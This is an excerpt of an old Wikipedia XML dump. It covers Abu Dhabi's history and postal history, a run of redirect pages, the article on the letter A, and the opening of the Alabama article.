In 1939, Sheikh [[Shakhbut Bin-Sultan Al Nahyan]] granted [[Petroleum]] concessions, and oil was first found in 1958.  At first, oil money had a marginal impact.  A few lowrise concete buildings were erected, and the first paved road was completed in 1961, but Sheikh Shakbut, uncertain whether the new oil royalties would last, took a cautious approach, prefering to save the revenue rather than investing it in development.  His brother, [[Zayed bin Sultan Al Nahayan]], saw that oil wealth had the potential to transform Abu Dhabi.  The ruling Al Nahayan family decided that Sheikh Zayed should replace his brother as Ruler and carry out his vision of developing the country.  On [[August 6]], [[1966]], with the assistance of the British, Sheikh Zayed became the new ruler.  See generally, Al-Fahim, M, ''From Rags to Riches: A Story of Abu Dhabi'', Chapter Six (London Centre of Arab Studies, 1995), ISBN 1 900404 00 1.

With the announcement by Britain in 1968 that it would withdraw from the Gulf area by 1971, Sheikh Zayed became the main driving force behind the formation of the [[United Arab Emirates]].

After the Emirates gained independence in 1971, oil wealth continued to flow to the area and traditional [[Mudbrick|mud-brick]] [[hut]]s were rapidly replaced with [[banks]], boutiques and modern [[highrise]]s.

==Current ruler==
His Highness Sheikh [[Khalifa bin Zayed Al Nahayan]] is the hereditary [[Emir|emir]] and ruler of Abu Dhabi, as well as the current president of the [[United Arab Emirates]] (UAE).

==Postal History==
[[Image:Stamp_Abu_1967_40f-170px.jpg|right|170px|thumb|[[Shaikh]] [[Zayed bin Sultan Al Nahayan|Zaid]], [[1967]].]]
Now part of the [[United Arab Emirates]], '''Abu Dhabi''' was formerly the largest of the seven sheikdoms which made up the [[Trucial States]] on the so-called [[Pirate Coast]] of eastern [[Arabia]] between [[Oman]] and [[Qatar]].  The [[Trucial States]] as a whole had an area of some 32,000 square miles of which Abu Dhabi alone had 26,000.  The capital was the town of Abu Dhabi which is on an offshore island and was first settled in 1761.

The name [[Trucial States]] arose from [[treaties]] made with [[Great Britain]] in 1820 which ensured a condition of [[truce]] in the area and the suppression of [[piracy]] and [[slavery]].  The [[treaty]] expired on [[31 December]] [[1966]].  The decision to form the [[UAE]] was made on [[18 July]] [[1971]] and the [[federation]] was founded on [[1 August]] [[1972]], although the inaugural [[UAE]] stamps were not issued until [[1 January]] [[1973]].

[[petroleum|Oil]] production began on [[Das Island]] after [[prospecting]] during 1956-1960.  [[Das Island]] is part of Abu Dhabi but lies well [[offshore]], about 100 miles north of the mainland.  [[petroleum|Oil]] production on the [[mainland]] began in 1962.  As a major [[petroleum|oil]] producer, Abu Dhabi soon acquired massive [[financial]] wealth.  [[Investment]] in long-term [[construction]] projects and the establishment of a [[finance]] sector has led to the area becoming a centre of [[commerce]] which may well secure its lasting importance when the [[petroleum|oil]] resources are exhausted.

In December 1960, [[postage stamps]] of [[Compendium of postage stamp issuers (Brit - British)#British Postal Agencies in Eastern Arabia|British Postal Agencies in Eastern Arabia]] were supplied to the [[construction]] workers on [[Das Island]] but the [[postal service]] was administered via the agency office in [[Bahrain]].  The [[mail]] was also [[postmark]]ed [[Bahrain]] so there was no clear indication that a [[letter]] had come from [[Das Island]].

On [[30 March]] [[1963]], a British agency was opened in Abu Dhabi and issued the agency stamps after the sheik objected to the use of the [[Trucial States]] [[definitive]]s.  [[Mail]] from [[Das Island]] continued to be administered by [[Bahrain]] but was now cancelled by an Abu Dhabi [[Trucial States]] [[postmark]].

The first Abu Dhabi stamps were a [[definitive series]] of [[30 March]] [[1964]] depicting [[Shaikh]] [[Shakhbut Bin-Sultan Al Nahyan]].  There were eleven values under the [[India|Indian]] [[currency]] that was used of 100 [[paisa|naye paise]] = 1 [[rupee]].  The range of values was 5 np to 10 [[rupee]]s.  Despite the introduction of these [[definitive]]s, the British agency stamps remained valid in both Abu Dhabi and [[Das Island]] until the end of 1966 when they were withdrawn.

A [[post office]] was opened on [[Das Island]] on [[6 January]] [[1966]] and this ended the [[Bahrain]] service.  [[Mail]] from [[Das Island]] was now handled within Abu Dhabi.

When the [[treaty]] with [[Great Britain]] expired at the end of 1966, Abu Dhabi introduced a new [[currency]] of 1000 [[fils]] = 1 [[dinar]] and took over its own postal administration, including the [[Das Island]] office. The earlier issues were subject to [[surcharge]]s in this [[currency]] and replacement [[definitive]]s were released depicting the new ruler [[Shaikh]] [[Zayed bin Sultan Al Nahayan|Zaid]].  Issues continued until introduction of [[UAE]] stamps in 1973.

In all, Abu Dhabi issued 95 stamps from 1964 to 1972, the final set being three views of the [[Dome of the Rock]] in [[Jerusalem]]. 

'''Source''': [http://www.jl.sl.btinternet.co.uk/stampsite/alpha/a/abudhabi.html Encyclopaedia of Postal History]

==Climate==
Sunny/blue skies can be expected through-out the year. The months June through September are generally hot and humid with temperatures averaging above 40ºC(110ºF). The weather is usually pleasant from October to May. January to February is cooler and may require the use of a light jacket. The oasis city of [[Al Ain]] enjoys cooler temperatures even through summer due to [[sporadic]] rainfall.

==Transport==
[[Abu Dhabi International Airport]] serves this city. The local time is [[GMT]] + 4 hours.

==Trivia==
* The cartoon cat [[Garfield]] would often put the kitten [[Nermal]] in a box and ship him to Abu Dhabi. A common phrase from Garfield is &quot;Abu Dhabi is where all the cute kittens go.&quot; The reason is that the author of Garfield found out through over-seas relations that the city of Abu Dhabi, and the majority of UAE, has a large amount of cats that roam wild. Many live around the suburbs.

== See also ==
* [[Mina' Zayid]], the port of Abu Dhabi.
* [[Al Ain]]
* [[Marawah]]
* [[Postal Authorities]]
* [[Saudi Arabia]]
* [[Transportation in the United Arab Emirates]]

==External links==
{{Wiktionary}}
{{commons|Abu Dhabi}}
* [http://www.jl.sl.btinternet.co.uk/stampsite/alpha/a/abudhabi.html Encyclopaedia of Postal History]
* [http://www.thepersiangulf.org/cities/abudhabi.html Abu Dhabi, The Persian Gulf]
* [http://www.abudhabi.com/ abudhabi.com]
* [http://www.adcci-uae.com/ Abu Dhabi Chamber of Commerce and Industry]
* [http://www.adnoc.com/ Abu Dhabi National Oil Company]
* [http://www.spe.org/society/abudhabi/AbuDhabi-info.htm SPE history, with oil details]
* [http://www.angelfire.com/ok/ABUDHABISTAMPS/ Abu Dhabi postal history]
* [http://www.adias-uae.com ADIAS], Abu Dhabi Islands Archaeological Survey  
* [http://www.alloexpat.com/abu_dhabi_expat_forum/ Expatriates Forums in Abu Dhabi]
* [http://www.timeoutabudhabi.com/ Time Out Abu Dhabi], Guide to life in Abu Dhabi
*[http://www.careeruae.net/ Career UAE - Useful web site for the job seekers in Abu dabi/United Arab Emirates]

===Non-Government Organisations===
* [http://www.ansarburney.org/ Ansar Burney Trust] - human rights and anti-slavery organisation
{{UAE}}

[[Category:Capitals in Asia]]
[[Category:Cities in the United Arab Emirates]]
[[Category:Emirates]]
[[Category:Coastal cities]]
[[Category:Philately by country]]

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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Achilles]]
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  <page>
    <title>ArtificialLanguages</title>
    <id>56</id>
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      <id>39218442</id>
      <timestamp>2006-02-11T16:18:58Z</timestamp>
      <contributor>
        <username>Nikai</username>
        <id>9759</id>
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      <comment>R CamelCase</comment>
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    <title>AtlasShruggedCharacters</title>
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      <id>15898984</id>
      <timestamp>2003-03-13T02:57:44Z</timestamp>
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        <username>CatherineMunro</username>
        <id>8316</id>
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      <comment>#REDIRECT [[Characters in Atlas Shrugged]]</comment>
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      <timestamp>2003-03-13T23:05:33Z</timestamp>
      <contributor>
        <username>Ams80</username>
        <id>7543</id>
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    <title>AyersMusicPublishingCompany</title>
    <id>60</id>
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      <timestamp>2003-03-19T13:36:26Z</timestamp>
      <contributor>
        <username>Ams80</username>
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      <comment>#REDIRECT [[Companies in Atlas Shrugged]]</comment>
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    <title>AtlasShruggedPlaces</title>
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        <username>Ams80</username>
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        <username>Eskimbot</username>
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      <id>30807934</id>
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      <contributor>
        <username>Spiffy sperry</username>
        <id>79741</id>
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      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
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      <comment>fix link</comment>
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      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
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    <title>APrioriAndAPosteriorKnowledge</title>
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        <username>Jni</username>
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    <title>AnarchY</title>
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        <username>Tzartzam</username>
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      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Academy Award for Best Picture]]</text>
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      <comment>Why are people too lazy to fix dbl redirs when they move a page?</comment>
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        <ip>212.100.250.225</ip>
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      <comment>[[WP:WS|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
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  <page>
    <title>A</title>
    <id>290</id>
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      <text xml:space="preserve">{{AZ|uc=A|lc=a}}
{{wiktionarypar2|A|a}}
The letter '''A''' is the first letter in the [[Latin alphabet]]. Its name in [[English language|English]] is ''a'', plural ''aes,'' ''a's,'' or ''as''.

==History==
The letter A probably started as a [[pictogram]] of an [[ox]] head in [[Egyptian hieroglyph]]s or the [[Proto-semitic alphabet]].

{| align=&quot;center&quot; cellspacing=&quot;10&quot;
|- align=&quot;center&quot;
|[[Image:EgyptianA-01.png|Egyptian hieroglyphic ox head]]&lt;br /&gt;Egyptian hieroglyph&lt;br /&gt;ox head
|[[Image:Proto-semiticA-01.png|Proto-semitic ox head]]&lt;br /&gt;Proto-semitic&lt;br /&gt;ox head
|[[Image:PhoenicianA-01.png|Phoenician aleph]]&lt;br /&gt;Phoenician ''aleph''
|[[Image:GreekA-01.png|Greek alpha]]&lt;br /&gt;Greek ''alpha''
|[[Image:EtruscanA-01.png|Etruscan A]]&lt;br /&gt;Etruscan A
|[[Image:RomanA-01.png|Roman A]]&lt;br /&gt;Roman A
|}

By [[1600 BC]], the [[Phoenician alphabet]]'s letter had a linear form that served as the basis for all later forms. Its name must have corresponded closely to the [[Hebrew alphabet|Hebrew]] [[Aleph (letter)|aleph]]. The name is also similar to the Arabic [[Alif|alif.]]

When the [[Ancient Greece|Ancient Greeks]] adopted the alphabet, they had no use for the [[glottal stop]] that the letter had denoted in Phoenician and other [[Semitic languages]], so they used the sign for the vowel {{IPA|/&amp;#593;/}}, and changed its name to [[alpha (letter)|alpha]]. In the earliest Greek inscriptions, dating to the [[8th century BC]], the letter rests upon its side, but in the [[Greek alphabet]] of later times it generally resembles the modern capital letter, although many local varieties can be distinguished by the shortening of one leg, or by the angle at which the cross line is set.

The [[Etruscans]] brought the Greek alphabet to what was [[Italy]] and left the letter unchanged. The Romans later adopted the [[Old Italic alphabet|Etruscan alphabet]] to write [[Latin]], and the resulting letter was preserved in the modern [[Latin alphabet]] used to write many languages, including [[English language|English]].

The letter has two [[minuscule]] (lower-case) forms. The form used in most current handwriting consists of a circle and vertical stroke. Most printed material uses a form consisting of a small loop with an arc over it. Both derive from the majuscule (capital) form. In Greek handwriting, it was common to join the left leg and horizontal stroke into a single loop, as demonstrated by the Uncial version below. Many fonts then made the right leg vertical. In some of these, the [[serif]] that began the right leg stroke developed into an arc, resulting in the printed form, while in others it was dropped, resulting in the modern handwritten form.

{| align=&quot;center&quot; cellspacing=&quot;10&quot;
|- align=&quot;center&quot;
|[[Image:BlackletterA-01.png|Blackletter A]]&lt;br /&gt;[[Blackletter]] A
|[[Image:UncialA-01.png|Uncial A]]&lt;br /&gt;[[Uncial]] A
|[[Image:Acap.png|Another Capital A]]
|- align=&quot;center&quot;
|[[Image:ModernRomanA-01.png|Modern Roman A]]&lt;br /&gt;Modern Roman A
|[[Image:ModernItalicA-01.png|Modern Italic A]]&lt;br /&gt;Modern Italic A
|[[Image:ModernScriptA-01.png|Modern Script A]]&lt;br /&gt;Modern Script A
|}

==Usage==
In [[English language|English]], the letter A by itself usually denotes the [[lax open front unrounded vowel]] ({{IPA2|æ}}) as in ''pad'', the [[open back unrounded vowel]] ({{IPA2|ɑ}}) as in ''father'', or, in concert with a later orthographic [[e]], the diphthong {{IPA2|eʲ}} (though the pronunciation varies with the dialect) as in ''ace'', due to effects of the [[Great vowel shift]].

In most other languages that use the Latin alphabet, the letter A denotes either an [[open back unrounded vowel]] ({{IPA2|ɑ}}), or an [[open central unrounded vowel]] ({{IPA2|a}}). 

In the [[International Phonetic Alphabet]], variants of the letter A denote various [[vowel]]s. In [[X-SAMPA]], capital A denotes the [[open back unrounded vowel]] and lowercase a denotes the [[open front unrounded vowel]].

A also is the English [[indefinite article]], extended to [[an]] before a vowel.

==Codes for computing==
{{Letter
|NATO=Alpha
|Morse=·–
|B1=●
|B2=○
|B3=○
|B4=○
|B5=○
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] A is codepoint U+0041 and the [[minuscule|lowercase]] a is U+0061.

In [[Hexadecimal|Hex]], A is the character used to represent decimal 10, or in [[Binary numeral system|binary]], 01010

The [[ASCII]] code for capital A is 65 and for lowercase a is 97; or in [[Binary numeral system|binary]] 01000001 and 01100001, correspondingly.

The [[EBCDIC]] code for capital A is 193 and for lowercase a is 129.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#65;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#97;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Meanings for '''A'''==
* As a word; see [[A, an]]
* In [[United States|American]] [[Major League Baseball]], the [[Oakland Athletics]] are often simply referred to as the &quot;'''A's'''.&quot;
* In [[astronomy]],
** A stands for a January 1 through 15 discovery, in the provisional designation of a comet (e.g. [[C/1760 A1]], the Great Comet of 1760) or asteroid (e.g. {{mpl|(4099) 1988 AB|5}})
** ''a'' is often used to denote the [[semi-major axis]] of an orbit
* In [[biochemistry]], A is the symbol for [[alanine]] and [[adenosine]].
* Brassiere [[cup size]] '''A'''
* In [[calendar]]s, A is often an abbreviation for the [[month]]s [[April]] and [[August]].
* In [[computing]],
** &lt;tt&gt;&amp;lt;a&amp;gt;&lt;/tt&gt; is the [[HTML element#links and anchors|HTML element for an anchor tag]].
** In Windows, Ctrl-A, and Mac OS, Command-A, selects all the text in the document, or all the pixels of an image.
** A sometimes represents the set of all alphabetic characters within [[character string (computer science)|string]] patterns.
** A:\ is the conventional address of the first floppy disk drive in [[CP/M]]-based [[operating system]]s such as [[DOS]].
** A is a security division (&quot;Verified Protection&quot;) in the [[TCSEC]].
* In [[education]], a [[Grade (education)|grade]] of '''A''' typically represents the highest score that students can achieve. This is sometimes coupled with a [[plus]]/[[minus]] sign, as in '''A+''' or '''A-''', or a number, as in '''A1'''. It is occasionally a grade one level below '''A*''' (pronounced &quot;A Star&quot;).
* In [[electronics]],
** [[A battery|A]] is a standard size of [[battery (electricity)|battery]].
** A refers to the Anode, or filament, component of a [[vacuum tube]]. 
* In [[English language|English]], the word ''a'' is an indefinite [[article (grammar)|article]], see [[A, an]]
* In [[Esperanto#Grammar|Esperanto]], -a is the adjectival/attributive ending; A is commonly an abbreviation meaning English (language).
* In [[fiction]], the letter worn by Hester Prynne marking her as an adultress in the [[Nathaniel Hawthorne]] novel ''[[The Scarlet Letter]]'' was an ''A''.
* In [[film]], ''A'' is an Italian film made in [[1969]]; see ''[[A (film)]]''.
* In [[finance]], A is the U.S. [[ticker symbol]] for [[Agilent Technologies]].
* In [[game]]s, the letter A is used to mark each of the [[Ace]]s in a deck of [[playing card]]s.
* In [[Greek language|Greek]], a- is a [[prefix]] (''alpha privativum'') meaning &quot;not&quot; or &quot;devoid of,&quot; used in many borrowed words in [[English language|English]], [[German language|German]] and [[Romance languages]].
* In [[India]] ''A'' is movie rating, given to those intended to be seen only by adults.
* In [[List of international license plate codes|international licence plate codes]], A stands for [[Austria]].
* In [[paper size|international paper sizes]], A is a series of sizes with an [[Paper size|aspect ratio]] of roughly 70% width to height, with A4 being an example popular size.
* In [[logic]], 
**the letter A is used as a symbol for the universal affirmative proposition in the general form &quot;all x is y.&quot; The letters I, E, and O are used respectively for the particular affirmative &quot;some x is y,&quot; the universal negative &quot;no x is y,&quot; and the particular negative &quot;some x is not y.&quot; The use of these letters is generally derived from the vowels of the two [[Latin]] [[verb]]s ''affirmo'' (or AIo), &quot;I assert,&quot; and ''nego'', &quot;I deny.&quot; The use of the symbols dates from the [[13th century]], though some authorities trace their origin to the Greek logicians. 
**In [[symbolic logic]], the symbol &amp;forall; (an inverted letter A) is the [[universal quantifier]].
* In [[mathematics]], 
**A is often used as a [[numerical digit|digit]] meaning ''[[10 (number)|ten]]'' in [[hexadecimal]] and other positional [[numeral system]]s with a [[radix]] of 11 or greater, 
**[[blackboard bold]] &lt;math&gt;\mathbb{A}&lt;/math&gt; (&amp;#x1D504; in [[Unicode]]) sometimes represents the [[algebraic numbers]].
**In the [[On-Line Encyclopedia of Integer Sequences]], each sequence has an ID consisting of the letter A and six base 10 digits.
* In [[medicine]], '''A''' (also, '''A+''' or '''A-''') is one of the human [[blood type]]s.
* In [[music]],
** A is a [[Pitch class]] or [[note]], see [[A (musical note)]].
** A, or &quot;side A,&quot; refers to the top or first side of a [[vinyl record]].
** ''A'' is a [[British rock]] band; see ''[[A (band)]]''.
** ''A'' is an album by [[Jethro Tull (band)|Jethro Tull]]; see ''[[A (album)]]''.
* In [[nutrition]], A is a [[vitamin]].
* In [[photography]], most SLR cameras use A to signify aperture priority mode, where the user sets the aperture and the camera determines the shutter speed.
* In [[poetry]], [[A (poem)|A]] is the major work of influential 20th century author [[Louis Zukofsky]].
* In [[political science|political theory]], a circumscribed &quot;A&quot; is an [[anarchist symbolism|anarchist symbol]].
* As the first letter of a [[postal code]],
** In [[Canada]], A stands for [[Newfoundland and Labrador]].
* On the serial numbers of [[United States dollar]]s, A identifies the [[Federal Reserve Bank of Boston]].
* In the [[SI]] system of units, 
** A is the symbol for the [[ampere]] or amp, the [[SI base unit]] of [[electric current]].
** a, [[atto]], is the [[SI prefix]] meaning 10&lt;sup&gt;-18&lt;/sup&gt;
** a is the symbol for the [[are]], a unit of surface area equal to 100 [[square metre]]s.
* As a [[timezone]], A is the military designation for [[Coordinated Universal Time]]+1, also known as CET or [[Central European Time]].

==See also==
{{Wikisource1911Enc|A}}
{{Commons|A}}
* [[Alpha (letter)|Alpha]] 
* [[A (Cyrillic)|Cyrillic A]]
* &lt;big&gt;[[ª]]&lt;/big&gt; 
* [[À]]
* [[Á]]
* [[Â]]
* [[Ã]]
* [[Ä]] (Ae)
* [[Å]] (Aa)
* [[Æ]]
* [[A-breve|&amp;#258;]] 
* [[A-ogonek|&amp;#260;]]
* [[∀]]
&lt;br clear=&quot;all&quot; /&gt;

{{AZsubnav}}


[[Category:Latin letters]]
[[Category:Vowels]]

[[als:A]]
[[ar:A]]
[[bs:A]]
[[ca:A]]
[[cs:A]]
[[da:A]]
[[de:A]]
[[et:A]]
[[el:A]]
[[es:A]]
[[eo:A]]
[[fr:A]]
[[gl:A]]
[[ko:A]]
[[hr:A]]
[[io:A]]
[[id:A]]
[[it:A]]
[[he:A]]
[[kw:A]]
[[la:A]]
[[hu:A]]
[[nl:A]]
[[ja:A]]
[[no:A]]
[[nn:A]]
[[pl:A]]
[[pt:A]]
[[ro:A]]
[[ru:А (буква)]]
[[sq:A]]
[[scn:A]]
[[simple:A]]
[[sl:A]]
[[sr:A (латиничко)]]
[[fi:A]]
[[sv:A]]
[[tl:A]]
[[vi:A]]
[[tr:A]]
[[yo:A]]
[[zh:A]]</text>
    </revision>
  </page>
  <page>
    <title>AnarchoCapitalism</title>
    <id>291</id>
    <revision>
      <id>15899029</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anarcho-capitalism]]
</text>
    </revision>
  </page>
  <page>
    <title>AnarchoCapitalists</title>
    <id>293</id>
    <revision>
      <id>15899031</id>
      <timestamp>2002-10-09T13:47:21Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[anarcho-capitalism]]</comment>
      <text xml:space="preserve">#REDIRECT [[anarcho-capitalism]]</text>
    </revision>
  </page>
  <page>
    <title>ActressesS</title>
    <id>296</id>
    <revision>
      <id>15899034</id>
      <timestamp>2003-11-08T12:13:18Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[List of female movie actors]]</text>
    </revision>
  </page>
  <page>
    <title>AnarchisM/AnarchyTalk</title>
    <id>298</id>
    <revision>
      <id>15899036</id>
      <timestamp>2002-10-09T13:47:51Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[talk:Anarchism]]</comment>
      <text xml:space="preserve">#REDIRECT [[talk:Anarchism]]</text>
    </revision>
  </page>
  <page>
    <title>AnAmericanInParis</title>
    <id>299</id>
    <revision>
      <id>15899037</id>
      <timestamp>2002-05-19T16:44:20Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[An American in Paris]]
</text>
    </revision>
  </page>
  <page>
    <title>AutoMorphism</title>
    <id>301</id>
    <revision>
      <id>15899038</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Automorphism]]

</text>
    </revision>
  </page>
  <page>
    <title>ActionFilm</title>
    <id>302</id>
    <revision>
      <id>15899039</id>
      <timestamp>2002-08-04T00:46:33Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Action movie]]</text>
    </revision>
  </page>
  <page>
    <title>Alabama</title>
    <id>303</id>
    <revision>
      <id>42140365</id>
      <timestamp>2006-03-04T02:12:43Z</timestamp>
      <contributor>
        <username>Gregski711</username>
        <id>704911</id>
      </contributor>
      <comment>/* Political Climate */</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
&lt;div style=&quot;float:right; clear:right; width:300px; margin-left: 1em;&quot;&gt;
{{US Confederate state |
  Name            = Alabama |
  Fullname        = State of Alabama |
  Flag            = Flag of Alabama.svg |
  Flaglink      = [[Flag of Alabama]] |
  Seal            = Alabama state seal.png| 
  Map             = Map_of_USA_highlighting_Alabama.png |
  Nickname        = Camellia State, The Heart of Dixie[[#Notes|&amp;sup1;]], Yellowhammer State|
  Capital         = [[Montgomery, Alabama|Montgomery]] |
  OfficialLang    = [[English language|English]] |
  Languages       = [[English language|English]] 96.7%, [[Spanish language|Spanish]] 2.2% |
  LargestCity     = [[Birmingham, Alabama|Birmingham]] |
  Governor        = [[Bob Riley (Alabama)|Bob Riley]] (R)|
  Senators        = [[Richard Shelby]] (R)
[[Jeff Sessions]] (R) |
  PostalAbbreviation = AL |
  AreaRank        = 30&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 52,423 mi²/135,775 |
  LandArea        = 50,750 mi²/131,442 |
  WaterArea       = 1,673 mi²/4,333 |
  PCWater         = 3.19 |
  PopRank         = 23&lt;sup&gt;rd&lt;/sup&gt; |
  2000Pop         = 4,447,100 |
  DensityRank     = 26&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 33.84 |
  AdmittanceOrder = 22&lt;sup&gt;nd&lt;/sup&gt; |
  AdmittanceDate  = [[December 14]], [[1819]] |
  SecessionDate  = [[January 11]], [[1861]] |
  ReadmittanceDate  = [[July 14]], [[1868]] |
  TimeZone        = [[Central Standard Time Zone|Central]]: [[Coordinated Universal Time|UTC]]-6/[[Daylight saving time|DST]]-5 |
  Latitude        = 30°13'N to 35°N |
  Longitude       = 84°51'W to 88°28'W |
  Width           = 190 mi/306 |
  Length          = 330 mi/531 |
  HighestElev     = [[Mount Cheaha]] 2,408 ft/734 |
  MeanElev        = 499 ft/152 |
  LowestElev      = 0 ft/0 |
  ISOCode         = US-AL |
  Website         = www.alabama.gov
}}
[[[[image:AlaUrb.gif |thumb|center|250px|Alabama Cities and Urban Areas/Sprawl]]
{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;float:right; clear:right; width:300px; margin:0 0 1em 1em;&quot; class=&quot;toccolours&quot;
|'''[[List of U.S. state mottos|State motto]]'''||''[[Audemus jura nostra defendere]]''
|-
|'''[[List of U.S. state birds|State bird]]'''||[[Northern Flicker|Yellowhammer]]
|-
|'''[[List of U.S. state flowers|State flower]]'''||[[Camellia]]
|-
|'''[[List of U.S. state songs|State song]]'''||&quot;[[Alabama (song)|Alabama]]&quot;
|-
|'''[[List of U.S. state trees|State tree]]'''||[[Longleaf Pine]]
|-
|'''[[List of U.S. state spirits|State spirit]]'''||[[Conecuh Ridge Whiskey|Conecuh Ridge]]
|-
|'''[[List of U.S. state reptiles|State reptile]]'''||[[Red-bellied turtle]]
|}
&lt;/div&gt;
'''Alabama''' is a [[U.S. state|state]] located in the [[Southern United States|Southern]] [[United States]].

==History==
''Main article: [[History of Alabama]]''

The memory of the [[Native Americans in the United States|Native American]] presence is particularly strong in Alabama. Among Native American people once living in present Alabama were [[Alabama (people)|Alabama]] (Alibamu), [[Cherokee]], [[Chickasaw]], [[Choctaw]], [[Creek people|Creek]], [[Koasati]], and [[Mobile (people)|Mobile]].  Trade with the Northeast via the [[Ohio River]] began during the Burial Mound Period  ([[1000 BC]]-A.D. [[700]]) and continued until European contact.  Meso-American influence is evident in the agrarian Mississippian culture that followed.

The [[France|French]] established the first [[Europe]]an settlement in the state with the establishment of [[Mobile, Alabama|Mobile]] in [[1702]].  Southern Alabama was French from [[1702]]&amp;ndash;[[1763]], part of British West Florida from [[1763]]&amp;ndash;[[1780]], and part of Spanish West Florida from [[1780]]&amp;ndash;[[1814]]. Northern and central Alabama was part of British Georgia from [[1763]]&amp;ndash;[[1783]] and part of the American Mississippi territory thereafter. Its statehood delayed by the lack of a coastline (rectified when Andrew Jackson captured Spanish Mobile in [[1814]]), Alabama became the 22nd state in [[1819]].

The state of Alabama seceded from the Union on [[January 11]], [[1861]] and became the [[Alabama Republic]] and on [[February 18]] [[1861]] became a [[Confederate States of America|Confederate state]].  While not many battles were fought in the state, it contributed about 120,000 soldiers to the [[United States Civil War|Civil War]].  After the war a provisional government was set up in [[1865]] and Alabama was officially readmitted to the Union on July 14 [[1868]].

The cradle of the Confederacy during the [[United States Civil War|Civil War]], Alabama was at stage center in the [[American Civil Rights Movement (1955-1968)|civil rights movement]] of the [[1950s]] and [[1960s]].

==Law and government==
''Main article: [[Law and Government of Alabama]]''
===Local &amp; County Government===
Alabama has 67 [[county|counties]], each having its own elected legislative branch, usually called the Board of Commissioners, which usually also has executive authority in the county.  Due to the restraints placed in the [[Alabama Constitution]], all but 7 counties (Jefferson, Lee, Mobile, Madison, Montgomery, Shelby, and Tuscaloosa) in the state have little to no [[home rule]].  Instead, most counties in the state have to lobby to the Local Legislation Committee the state legislature to get simple local policies such as waste disposal to land use zoning.

Alabama is an alcohol monopoly or [[Alcoholic beverage control state]].

===Political Climate===
The current governor of the state is [[Bob Riley (Alabama)|Bob Riley]] and the two U.S. senators are [[Jeff Sessions|Jefferson B. Sessions III]] and [[Richard Shelby|Richard C. Shelby]] (all three from the [[United States Republican Party|Republican Party]]).  The current [[Alabama Constitution]] was adopted in [[1901]].

During [[Reconstruction]] following the [[American Civil War]], Alabama was occupied by federal troops of the [[Third Military District]] under [[John Pope (military officer)|General John Pope]]. In [[1877]], the Reconstruction period ended with the recognition of [[Rutherford B. Hayes]] as President-elect. [[White people|White]] Southerners assumed control of the government and passed laws to [[racial segregation|segregate]] and disenfranchise black residents.  The state became part of the &quot;[[Solid South]],&quot; a one-party system in which the [[Democratic Party (United States)|Democratic Party]] became essentially the only political party in every Southern state.  For nearly 100 years, local and state elections in Alabama were decided in the Democratic Party primary, with generally no Republican challenger running. 

From [[1876]] through [[1956]], Alabama supported only Democratic presidential candidates, by margins as high as 73 percentage points.  In [[1960]], Alabama gave most of its electoral votes to [[Harry F. Byrd]] as a protest.  In [[1964]], the national [[Republican Party (United States)|Republican Party]] began to win more votes in the South by following a &quot;[[Southern Strategy]]&quot; which emphasized &quot;[[States' rights|states' rights]]&quot; and the increasing liberalism of the national Democratic Party.  The first such candidate was conservative [[Barry Goldwater]], who became the first Republican candidate supported by Alabama.  In [[1968]], Alabama supported native son and [[American Independent Party]] candidate [[George Wallace]].  

The last Democratic candidate to win Alabama's votes in a presidential election was Southerner [[Jimmy Carter]] in [[1976]].  Today, the Republican party has become increasingly dominant in conservative Alabama politics. However, in local politics, Democrats still control many offices, including majorities in both houses of the Legislature, and registered Democrats outnumber Republicans in the state.  In 2004, [[George W. Bush]] won Alabama's nine electoral votes by a margin of 25 percentage points with 62.5% of the vote.  The only 11 counties voting Democratic were [[Black Belt (region of Alabama)|Black Belt]] counties, where [[African American]]s are in the majority.

Alabama is located in the [[Bible Belt]], and its educational policies reflect this. According to the [[Alan Guttmacher Institute]], Alabama requires sex education classes to emphasize &quot;that [[homosexuality]] is not an acceptable lifestyle to the general public and that homosexual conduct is a criminal offense under the laws of the state.&quot; While the mandate is not typically enforced in Alabama classrooms, it is unclear whether or not the official requirements have changed since the Supreme Court's ruling in [[Lawrence v. Texas]]. According to the [[United States Census Bureau]], in 2000, Alabama was home to 4,561 same-sex male couples and 4,167 same-sex female couples.

*[[U.S. presidential election, 2004, in Alabama]]

==Geography==
''Main article: [[Geography of Alabama]]''

{{ussm|alabama.PNG|al}}
